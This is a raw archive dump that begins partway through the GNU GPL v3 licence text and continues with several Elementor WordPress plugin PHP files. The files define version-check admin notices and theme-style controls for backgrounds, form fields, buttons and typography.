so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . elementor.php000064400000006536147206604650007273 0ustar00=' ) ) { add_action( 'admin_notices', 'elementor_fail_php_version' ); } elseif ( ! version_compare( get_bloginfo( 'version' ), '6.3', '>=' ) ) { add_action( 'admin_notices', 'elementor_fail_wp_version' ); } else { require ELEMENTOR_PATH . 'includes/plugin.php'; } /** * Elementor admin notice for minimum PHP version. * * Warning when the site doesn't have the minimum required PHP version. * * @since 1.0.0 * * @return void */ function elementor_fail_php_version() { $html_message = sprintf( '

%1$s

%2$s %3$s

', esc_html__( 'Elementor isn’t running because PHP is outdated.', 'elementor' ), sprintf( /* translators: %s: PHP version. */ esc_html__( 'Update to version %s and get back to creating!', 'elementor' ), '7.4' ), esc_html__( 'Show me how', 'elementor' ) ); echo wp_kses_post( $html_message ); } /** * Elementor admin notice for minimum WordPress version. * * Warning when the site doesn't have the minimum required WordPress version. * * @since 1.5.0 * * @return void */ function elementor_fail_wp_version() { $html_message = sprintf( '

%1$s

%2$s %3$s

', esc_html__( 'Elementor isn’t running because WordPress is outdated.', 'elementor' ), sprintf( /* translators: %s: WordPress version. */ esc_html__( 'Update to version %s and get back to creating!', 'elementor' ), '6.3' ), esc_html__( 'Show me how', 'elementor' ) ); echo wp_kses_post( $html_message ); } core/kits/documents/tabs/settings-custom-css.php000064400000001300147206604650016053 0ustar00controls_manager->add_custom_css_controls( $this->parent, $this->get_id() ); } } core/kits/documents/tabs/settings-background.php000064400000004045147206604650016103 0ustar00start_controls_section( 'section_background', [ 'label' => $this->get_title(), 'tab' => $this->get_id(), ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'body_background', 'types' => [ 'classic', 'gradient' ], 'selector' => '{{WRAPPER}}', 'fields_options' => [ 'background' => [ 'frontend_available' => true, ], 'color' => [ 'dynamic' => [], ], 'color_b' => [ 'dynamic' => [], ], ], ] ); $this->add_control( 'mobile_browser_background', [ 'label' => esc_html__( 'Mobile Browser Background', 'elementor' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'The `theme-color` meta tag will only be available in supported browsers and devices.', 'elementor' ), 'separator' => 'before', ] ); $this->add_control( 'body_overscroll_behavior', [ 'label' => esc_html__( 'Overscroll Behavior', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'none' => esc_html__( 'None', 'elementor' ), 'auto' => esc_html__( 'Auto', 'elementor' ), 'contain' => esc_html__( 'Contain', 'elementor' ), ], 'separator' => 'before', 'selectors' => [ '{{WRAPPER}}' => 'overscroll-behavior: {{VALUE}};', ], ] ); $this->end_controls_section(); } } core/kits/documents/tabs/theme-style-form-fields.php000064400000012470147206604650016574 0ustar00start_controls_section( 'section_form_fields', [ 'label' => esc_html__( 'Form Fields', 'elementor' ), 'tab' => $this->get_id(), ] ); $this->add_default_globals_notice(); $this->add_control( 'form_label_heading', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'Label', 'elementor' ), ] ); $this->add_control( 'form_label_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'dynamic' => [], 'selectors' => [ $label_selector => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'form_label_typography', 'selector' => $label_selector, ] ); $this->add_control( 'form_field_heading', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'Field', 'elementor' ), 'separator' => 'before', ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'form_field_typography', 'selector' => $input_selector, ] ); $this->start_controls_tabs( 'tabs_form_field_style' ); $this->start_controls_tab( 'tab_form_field_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_form_field_state_tab_controls( 'form_field', $input_selector ); $this->end_controls_tab(); $this->start_controls_tab( 'tab_form_field_focus', [ 'label' => esc_html__( 'Focus', 'elementor' ), ] ); $this->add_form_field_state_tab_controls( 'form_field_focus', $input_focus_selector ); $this->add_control( 'form_field_focus_transition_duration', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ) . ' (ms)', 'type' => Controls_Manager::SLIDER, 'selectors' => [ $input_selector => 'transition: {{SIZE}}ms', ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 3000, 'step' => 100, ], ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->add_responsive_control( 'form_field_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ $input_selector => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], 'separator' => 'before', ] ); $this->end_controls_section(); } private function add_form_field_state_tab_controls( $prefix, $selector ) { $this->add_control( $prefix . '_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'dynamic' => [], 'selectors' => [ $selector => 'color: {{VALUE}};', ], ] ); $this->add_control( $prefix . '_accent_color', [ 'label' => esc_html__( 'Accent Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'dynamic' => [], 'selectors' => [ $selector => 'accent-color: {{VALUE}};', ], ] ); $this->add_control( $prefix . '_background_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'dynamic' => [], 'selectors' => [ $selector => 'background-color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => $prefix . '_box_shadow', 'selector' => $selector, ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => $prefix . '_border', 'selector' => $selector, 'fields_options' => [ 'color' => [ 'dynamic' => [], ], ], ] ); $this->add_control( $prefix . '_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ $selector => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); } } core/kits/documents/tabs/theme-style-buttons.php000064400000013121147206604650016055 0ustar00start_controls_section( 'section_buttons', [ 'label' => esc_html__( 'Buttons', 'elementor' ), 'tab' => $this->get_id(), ] ); $this->add_default_globals_notice(); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'button_typography', 'selector' => $button_selector, ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'button_text_shadow', 'selector' => $button_selector, ] ); $this->start_controls_tabs( 'tabs_button_style' ); $this->start_controls_tab( 'tab_button_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'button_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'dynamic' => [], 'selectors' => [ $button_selector => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'button_background', 'types' => [ 'classic', 'gradient' ], 'exclude' => [ 'image' ], 'selector' => $button_selector, 'fields_options' => [ 'background' => [ 'default' => 'classic', ], 'color' => [ 'dynamic' => [], ], 'color_b' => [ 'dynamic' => [], ], ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'button_box_shadow', 'selector' => $button_selector, ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'button_border', 'selector' => $button_selector, 'fields_options' => [ 'color' => [ 'dynamic' => [], ], ], ] ); $this->add_control( 'button_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ $button_selector => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tab_button_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'button_hover_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'dynamic' => [], 'selectors' => [ $button_hover_selector => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'button_hover_background', 'types' => [ 'classic', 'gradient' ], 'exclude' => [ 'image' ], 'selector' => $button_hover_selector, 'fields_options' => [ 'background' => [ 'default' => 'classic', ], 'color' => [ 'dynamic' => [], ], 'color_b' => [ 'dynamic' => [], ], ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'button_hover_box_shadow', 'selector' => $button_hover_selector, ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'button_hover_border', 'selector' => $button_hover_selector, 'fields_options' => [ 'color' => [ 'dynamic' => [], ], ], ] ); $this->add_control( 'button_hover_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ $button_hover_selector => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->add_responsive_control( 'button_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ $button_selector => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], 'separator' => 'before', ] ); $this->end_controls_section(); } } core/kits/documents/tabs/theme-style-typography.php000064400000010676147206604650016601 0ustar00start_controls_section( 'section_typography', [ 'label' => esc_html__( 'Typography', 'elementor' ), 'tab' => $this->get_id(), ] ); $this->add_default_globals_notice(); $this->add_control( 'body_heading', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'Body', 'elementor' ), ] ); $this->add_control( 'body_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'dynamic' => [], 'selectors' => [ '{{WRAPPER}}' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'body_typography', 'selector' => '{{WRAPPER}}', ] ); $this->add_responsive_control( 'paragraph_spacing', [ 'label' => esc_html__( 'Paragraph Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'selectors' => [ '{{WRAPPER}} p' => 'margin-bottom: {{SIZE}}{{UNIT}}', ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'min' => 0.1, 'max' => 20, ], ], 'size_units' => [ 'px', 'em', 'rem', 'vh', 'custom' ], ] ); //Link Selectors $link_selectors = [ '{{WRAPPER}} a', ]; $link_hover_selectors = [ '{{WRAPPER}} a:hover', ]; $link_selectors = implode( ',', $link_selectors ); $link_hover_selectors = implode( ',', $link_hover_selectors ); $this->add_control( 'link_heading', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'Link', 'elementor' ), 'separator' => 'before', ] ); $this->start_controls_tabs( 'tabs_link_style' ); $this->start_controls_tab( 'tab_link_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); 